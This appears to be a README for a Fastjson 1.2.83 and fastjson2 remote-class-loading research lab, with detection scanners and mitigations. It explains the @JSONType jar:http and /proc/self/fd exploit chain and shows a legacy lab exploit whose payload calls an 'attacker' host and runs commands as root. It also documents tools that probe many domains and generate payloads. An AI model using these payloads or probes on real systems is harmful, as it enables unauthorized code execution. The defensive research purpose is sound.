Fastjson @JSONType remote-JAR/FD-chain lab and detection

This repository now preserves two distinct Fastjson research tracks:

• modern-fd/ is the recommended, marker-only reconstruction of the Fastjson 1.2.83 single-body remote-JAR/file-descriptor chain on Spring Boot 3, normal embedded Tomcat and JDK 17. It uses the literal fixed-DTO sink JSON.parseObject(body, BoundEnvelope.class) with AutoType disabled.
• The original top-level Docker Compose lab preserves the earlier JDK 8 direct remote-class route. It is command-capable and should be treated as a legacy, isolated proof rather than the modern-JDK method.
• scanner/ contains passive request/log detection, static artifact inventory and a non-executing reachability probe.

The bug: ParserConfig.checkAutoType probes every @type value for the @JSONType annotation by doing getResourceAsStream(typeName.replace('.','/') + ".class"). On modern Linux/JDK combinations, a remote jar:http probe can leave the JAR cached behind an open descriptor; later jar:file:/proc/self/fd/N probes in the same body can reopen it under valid class names and initialize an annotated class. The exact 1.2.83 composition works with AutoType disabled and through a fixed DTO containing List<Object>. Binding alone is therefore not a mitigation. Full walk-through: docs/MECHANISM.md.

Security review findings

The companion whole-project review covered 2,041 callable/static-initializer rows across all 193 Fastjson 1.2.83 production Java files. The table below prioritizes the highest-impact results; it is not a claim that every Fastjson deployment is affected. This repository directly reproduces F105. The remaining entries summarize separately sealed source review and bounded lab evidence.

See findings/FINDINGS.md for validation labels, prerequisites, lower-tier findings, remediation priorities, and explicit negative boundaries.

⚠️ Authorized use only

This repository is for education, defensive research, and authorized testing of systems you own or are explicitly permitted to test. Host publication, when supported for the modern lab's internal network, is requested on 127.0.0.1 only; its scripts drive the test entirely inside that isolated network. The modern lab has no process-execution primitive and sets only a fixed in-JVM marker. The legacy JDK 8 lab does execute id and writes its output to /tmp/PWNED; keep it isolated. Do not point the legacy exploit or active probe at unauthorized systems.

Scan your own environment

The scanner/ directory ships four dependency-free Python 3 tools (no pip installs).

• fjdetect.py — passively inspect decoded JSON request bodies or structured JSON logs for remote-JAR seeds and /proc/self/fd or /dev/fd sequences.
• fjscan_static.py — inventory jars/wars/ears for the vulnerable combination (content-backed, metadata-verified 1.2.83 × actual Spring Boot loader class content). Probe-bearing 1.2.48–1.2.82 releases and metadata/filename-only candidates are reported separately for review. CI-gate friendly (exit 2 on EXPOSED).
• fjscan_probe.py — active, safe reachability check: fires the @type at a canary you control (built-in listener or Burp Collaborator / interactsh) and correlates the resource-fetch callback. Its built-in listener returns an empty 404; configure external listeners equivalently. A callback does not prove class loading or RCE.
• fjpayload.py — generate remote-resource fetch bodies for manual testing; use only an empty/404 listener when execution is not intended.

# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = one target per line — a full [METHOD ]URL or a bare domain (expanded with --scheme / --target-port / --path); # comments allowed:

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

Options

fjscan_probe.py (active probe)

fjscan_static.py (inventory): <paths…> · --threads N (default 8) · --json (machine output; exit code 2 if any EXPOSED).

fjpayload.py (generator): <collaborator> · --targets-file/-f <file\|-> (bulk) · --port · --token · --wrap · --entry.

Collaborator note: the @JSONType jar: sink does typeName.replace('.','/'), so every dot in the host becomes a slash — a dotted Burp Collaborator subdomain (abc.oastify.com) can't be delivered through it (the tools fall back to an integer IP + URL path token). To get a callback into a public Collaborator, use --probe-type dns: the java.net.Inet4Address primitive accepts a dotted host and fires a DNS interaction (<tok>.<sub>.oastify.com), confirming the Inet4Address parse primitive + egress. That is prerequisite evidence, not proof of the remote-JAR/FD terminal. See scanner/README.md.

Marker-only modern-JDK lab (recommended)

Requirements: Docker + Docker Compose, and outbound access to Maven Central on the first build (to fetch fastjson / spring-boot-loader / asm).

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

The positive case sends one body to a normal embedded-Tomcat request thread. Its literal sink is final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Success is only the fixed property and log token FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; the response still returns a normally bound BoundEnvelope. The evidence directory contains the request, response, container metadata, logs and SHA-256 manifest.

Controls cover ordinary JSON, FD candidates without a seed, a seed followed by impossible descriptors, and SafeMode. See modern-fd/README.md.

The FearsOff disclosure shows the same retained-JAR terminal on JDK 21 using a process-persistent cache and one FD candidate per request. This repository's modern lab instead reproduces a single-body JDK 17 composition: the failure-soft seed and bounded FD candidates are carried by one fixed-DTO request. JDK 21 remains externally reported; it is not a runtime result produced here.

Legacy JDK 8 direct-class lab

The original top-level Compose project remains available for reproducing the older one-stage route. Unlike modern-fd/, it is command-capable and should be run only in the isolated lab:

make up
make exploit
make down

Expected make exploit output:

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

The ClassCastException is the tell that binding is not a mitigation: the attacker class runs its <clinit> during the @type probe, before fastjson tries to cast it to Dto.

Legacy-lane variations

• Direct-class lane only: changing target/Dockerfile to JDK 17 blocks this legacy crafted-name definition and leaves a fetch. That result does not test or mitigate the separate /proc/self/fd continuation in modern-fd/.
• Prove it's not autoType: the target never calls setAutoTypeSupport(true) — check the banner at http://127.0.0.1:8080/.
• Custom command: PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.

Repository layout

Mitigation

Enable -Dfastjson.parser.safeMode=true on the ordinary handler-free path or use the vendor's com.alibaba:fastjson:1.2.83_noneautotype build where immediate migration is not possible, and audit installed AutoTypeCheckHandlers. Restrict JVM egress; migrate untrusted parsing away from Fastjson 1.x; alert on decoded @type remote-JAR seeds and /proc/self/fd or /dev/fd candidates both within one request and correlated across requests. DTO binding and JDK 9+ are not complete mitigations for the modern composition.

fastjson2 — a separate issue, in default configuration

fastjson2/ is a second, independent lab. fastjson2 does not contain the fastjson 1.x @JSONType resource probe. It does, however, allow an attacker-controlled @type to reach ClassLoader.loadClass() with autoType disabled, whenever the parse path involves a polymorphic type — because ObjectReaderSeeAlso's constructor hardcodes SupportAutoType, and a seeAlso miss falls through to full autoType resolution before the assignability and DataSource/RowSet checks run.

The triggers are ordinary modelling annotations — @JSONType(seeAlso=), Jackson @JsonSubTypes (honoured because useJacksonAnnotation defaults to true), @JsonTypeInfo, sealed types. Under a Spring Boot fat jar the context classloader resolves jar:http: names, so the class is fetched from the network and its static initializer runs.

Reproduced on fastjson2 2.0.62 (latest release) and 2.0.57, on JDK 8. safeMode=true blocks it; JDK 17 downgrades it to SSRF; autoTypeFilter(...) does not protect. Disclosed by Chaitin (长亭), ~2026-07-25 — not a finding of this repository. The maintainer has open hardening work in PR #7703 (superseding the closed #7695) which rejects : and ! in type names; no released version contains it — 2.0.62 predates both.

make fj2-safety     # prove the payload is marker-only
make fj2-positive   # default config -> remote class defined + initialised
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist

Credits & references

• Original disclosure and technical post: Kirill Firsov (@k_firsov, FearsOff) — FastJson 1.2.83 Remote Code Execution (July 21, 2026). It discloses the same JDK 8 direct-class and modern retained-JAR /proc/self/fd mechanisms reconstructed here.
• Maintainer advisory: Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83. It reports typed-API reachability plus verification across Spring Boot 2.x–4.x and JDK 8/11/17/21. Those wider version/runtime matrices are upstream-reported; this repository's runtime proof remains Fastjson 1.2.83 on the documented JDK 8 and JDK 17 lanes.
• Public proof-of-concept & the @JSONType / jar-URL-internal-name technique: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java re-implements that technique for this lab.
• Modern-JDK FD-chain reports: the WeChat article and the earlier detailed Cnyes report supplied the retained-JAR /proc/self/fd hypothesis. They were treated as external reports, not as independent runtime proof.
• Public Linux FD implementation: DmTomHL/fastjson-1.2.83-gadget-rce narrowed the reconstruction gap. Its command-capable code was reviewed statically and was not executed; modern-fd/ uses independently authored marker-only classes and a normal fixed-DTO Tomcat endpoint.

This lab and the scanner/ tooling package those findings into a reproducible testbed and defensive checks. Not affiliated with or endorsed by the researchers above.